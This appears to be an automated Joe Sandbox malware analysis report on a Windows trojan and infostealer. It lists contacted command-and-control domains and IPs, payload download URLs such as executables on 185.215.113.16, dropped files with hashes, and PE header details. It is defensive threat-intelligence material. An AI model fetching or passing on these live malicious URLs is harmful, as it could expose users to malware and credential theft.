https://tacitglibbr.biz/s	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/es	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpDo	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpa-deddda976288001	100%	Avira URL Cloud	malware
http://185.215.113.16/5T	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php6d	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/te5p	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/s	14%	Virustotal		Browse
https://tacitglibbr.biz/es	16%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tacitglibbr.biz	188.114.96.6	true	false		high

Contacted URLs

Name	Malicious	Reputation
sordid-snaked.cyou	false	high
http://185.215.113.206/	false	high
deafeninggeh.biz	false	high
tacitglibbr.biz	false	high
diffuculttan.xyz	false	high
effecterectz.xyz	false	high
wrathful-jammy.cyou	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
https://tacitglibbr.biz/api	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
debonairnukk.xyz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/jd	8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tacitglibbr.biz/	jYd7FUgGZc.exe, 00000003.00000003.1448623747.000000000115D000.00000004.00000020.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1621984792.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz:443/apiA	jYd7FUgGZc.exe, 00000003.00000003.1622550353.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.microsoft	jYd7FUgGZc.exe, 00000003.00000003.1622462259.0000000001121000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/pi	jYd7FUgGZc.exe, 00000003.00000003.1622550353.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1480299028.0000000001129000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/es	jYd7FUgGZc.exe, 00000003.00000003.1621984792.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/s	jYd7FUgGZc.exe, 00000003.00000003.1621984792.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpDo	8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpa-deddda976288001	8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	jYd7FUgGZc.exe, 00000003.00000003.1622462259.0000000001121000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	jYd7FUgGZc.exe, 00000003.00000003.1420190066.0000000005956000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	jYd7FUgGZc.exe, jYd7FUgGZc.exe, 00000003.00000003.1622374804.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeC	jYd7FUgGZc.exe, 00000003.00000003.1622550353.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/5T	jYd7FUgGZc.exe, 00000003.00000003.1622374804.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	jYd7FUgGZc.exe, 00000003.00000003.1419167614.0000000005864000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php6d	8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exe	jYd7FUgGZc.exe, 00000003.00000003.1622374804.0000000001145000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpT	8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.0000000001814000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	jYd7FUgGZc.exe, 00000003.00000003.1348044149.000000000587E000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348234287.000000000587C000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348427212.000000000587C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	jYd7FUgGZc.exe, 00000003.00000003.1445741487.0000000005840000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/te5p	jYd7FUgGZc.exe, 00000003.00000003.1480299028.0000000001129000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.96.6	tacitglibbr.biz	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576613
Start date and time:	2024-12-17 10:21:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	jYd7FUgGZc.exe renamed because original name is a hash value
Original Sample Name:	bb2f1d74aabd9d2a6eb16dd3cde55e5e.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, PID 7780 because there are no executed function
Execution Graph export aborted for target jYd7FUgGZc.exe, PID 7024 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:22:57	API Interceptor	48x Sleep call for process: jYd7FUgGZc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.6	236236236.elf	Get hash	malicious	Unknown	Browse	hollweghospitality.com/blog/wp-login.php
	BanK_copy.rtf	Get hash	malicious	Unknown	Browse	244-3-drvu.4everland.app/bankcopy.exe
	Purchase Order..exe	Get hash	malicious	FormBook	Browse	www.bser101pp.buzz/v89f/
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	orbitdownloader.com/
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	orbitdownloader.com/
	e6o7hKFmfC.exe	Get hash	malicious	FormBook	Browse	www.astrofrance.online/uem3/?BpE=hw9wdlgRPJgu6mhEw3v3abu2JdZhLnzfTKsoEzFZGCpKAu6wx+OREaAyoHMqAY/6AEPW&SH=IDKTKDM
185.215.113.206	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/68b591d6548ec281/sqlite3.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tacitglibbr.biz	X2hna87N3Y.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.164.37
	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	sfWmEoGJQR.exe	Get hash	malicious	LummaC	Browse	172.67.129.27
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.2.110
	pN6iTXbhhc.exe	Get hash	malicious	LummaC	Browse	172.67.129.27
	81eivTbdp6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.67.187.200
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	Ls4O6Pmixd.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.0.100
	X2hna87N3Y.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://forms.gle/WXkgv9t1iFkxFXZb7	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
WHOLESALECONNECTIONSNL	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	sfWmEoGJQR.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.6
	pN6iTXbhhc.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	81eivTbdp6.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	X2hna87N3Y.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	RkB7FehGh6.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	c5bnEkMx.ps1	Get hash	malicious	LummaC	Browse	188.114.96.6
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	188.114.96.6
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	188.114.96.6

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JI1XME003OC9O5S8X2QF4.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe

Download File

Process:	C:\Users\user\Desktop\jYd7FUgGZc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2859008
Entropy (8bit):	6.526417677719697
Encrypted:	false
SSDEEP:	49152:VwaKXjw6/2bAJzbJW9usugrL1aZJbpOVyTar+k6DNDxNy8:sXjwZAJxW9usZ1aZhpOsT06xFY8
MD5:	BF86F8D222211B376DD5C074CC460BED
SHA1:	AD9DBCDE657A50E42E6568E4FE8936C7C64E7CD6
SHA-256:	42B46B32F29BEC629E50F10AB57342BB3C01E99C263F0760664BD4F9A8D8FB1D
SHA-512:	AD8069050C837BAE46E6F6505DD47081643C4CAF01D0A6F35193D188E6935B4071CDC28F53213564ECA76853FED35163AEE3DADF343D1E9F4F05ADF055230C8A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: V65xPrgEHH.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.............................N...........@...........................O.......+...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......\|..............@...mtoauukx.....$...)..~..............@...piksggks......N......x+.............@....taggant.0....N.."...~+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Download File

Process:	C:\Users\user\Desktop\jYd7FUgGZc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1782272
Entropy (8bit):	7.934176213694885
Encrypted:	false
SSDEEP:	49152:XzOXSjLBqiGwQSNmTNWnD27nM259Tl8sIZc5+Ua:DOXoBPG3YD27MRRc8U
MD5:	658970FA0BE64B36B89CABF358BA6993
SHA1:	7C070C1D8569EC6F30B2184EF38C22DB8B8507CD
SHA-256:	AFAAA2E5A5ECA777A53963E3C65C5FD66E37D6C50575746528DE114F93012AF1
SHA-512:	6F4CCA48AC4E7F8DCE1B0552C3CDCEA311699F9DA9705089D8068FE7F2C8806D6D022D204519813E1EEF5AA764671B47935A1B52F09C3E305D76A1396260D552
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: V65xPrgEHH.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............F.. ...`....@.. ....................... G.....S.....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... .@+..........8..............@...fphnutar......+......:..............@...inmacesb. ....F.....................@....taggant.@....F.."..................@...........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947026868465815
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	jYd7FUgGZc.exe
File size:	1'836'032 bytes
MD5:	bb2f1d74aabd9d2a6eb16dd3cde55e5e
SHA1:	2000c94f296473baa42444ea0fbd607a0f5cd19a
SHA256:	21c3ff6d14dbf792891e0c30da1eb51aa65c6f87c65cd8303e58ed26995a6390
SHA512:	d82f1d4cbd8a229c80f896eac151b41af46292ca936c8673053d0c3bddefee62b31b8b614e042dc33ad83ef3935f99d7dcefb8509b5c378ea076ab58dba4da20
SSDEEP:	49152:7K/2FxcdjKcueMKUPCEIWadlDHzzq1O0oEprRWh7uC:7Kkc8ypdlDHKHoOWh7u
TLSH:	578533254EC3D17ACACFC4328EDBE8F561B6A111ADE61F9532852E037017EAC64523F9
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................H...........@...........................H...........@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x88c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAA08D108EAh
psrad mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
